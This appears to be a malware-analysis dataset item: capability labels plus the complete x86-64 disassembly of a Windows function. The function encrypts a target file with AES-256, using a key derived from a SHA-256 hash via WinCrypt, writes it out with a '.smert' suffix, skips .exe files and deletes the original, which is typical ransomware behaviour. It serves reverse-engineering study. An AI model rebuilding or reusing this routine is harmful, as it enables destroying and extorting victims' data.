Function at 0x140001180
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push r14
push r15
lea rbp, [rsp - 0x20198]
mov eax, 0x20298
call fcn.140002ef0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x20180], rax
mov r15, r8
mov r14, rdx
mov rsi, rcx
lea rdx, [rbp + 0x60]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str..exe
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001412
lea rdx, [rbp + 0x60]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001412
lea rdx, [0x140003524]
mov qword [rsp + 0x202d8], rbx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000140a
mov r9, rsi
mov qword [rsp + 0x20290], rdi
lea r8, str._s.smert
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.1400010c0
lea rdx, [0x140003534]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x140001263
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001402
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140001447
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000143a
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, 0x20
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400012dc
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x14000143a
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400012d1
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8, r15
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x14000142f
mov r9, rbx
lea rcx, [rbp + 0x170]
mov edx, 1
mov r8d, 0x10000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test eax, eax
je 0x1400013cf
nop
mov rcx, rbx
mov dword [rsp + 0x48], eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8d, eax
mov dword [rsp + 0x30], 0x10010
lea rax, [rsp + 0x48]
xor edx, edx
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10170]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x14000142f
mov r8d, dword [rsp + 0x48]
lea rcx, [rbp + 0x10170]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, rbx
lea rcx, [rbp + 0x170]
mov edx, 1
mov r8d, 0x10000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test eax, eax
jne 0x140001350
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdi, qword [rsp + 0x20290]
mov rbx, qword [rsp + 0x202d8]
mov rcx, qword [rbp + 0x20180]
xor rcx, rsp
call fcn.1400020f0
add rsp, 0x20298
pop r15
pop r14
pop rsi
pop rbp
ret
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001402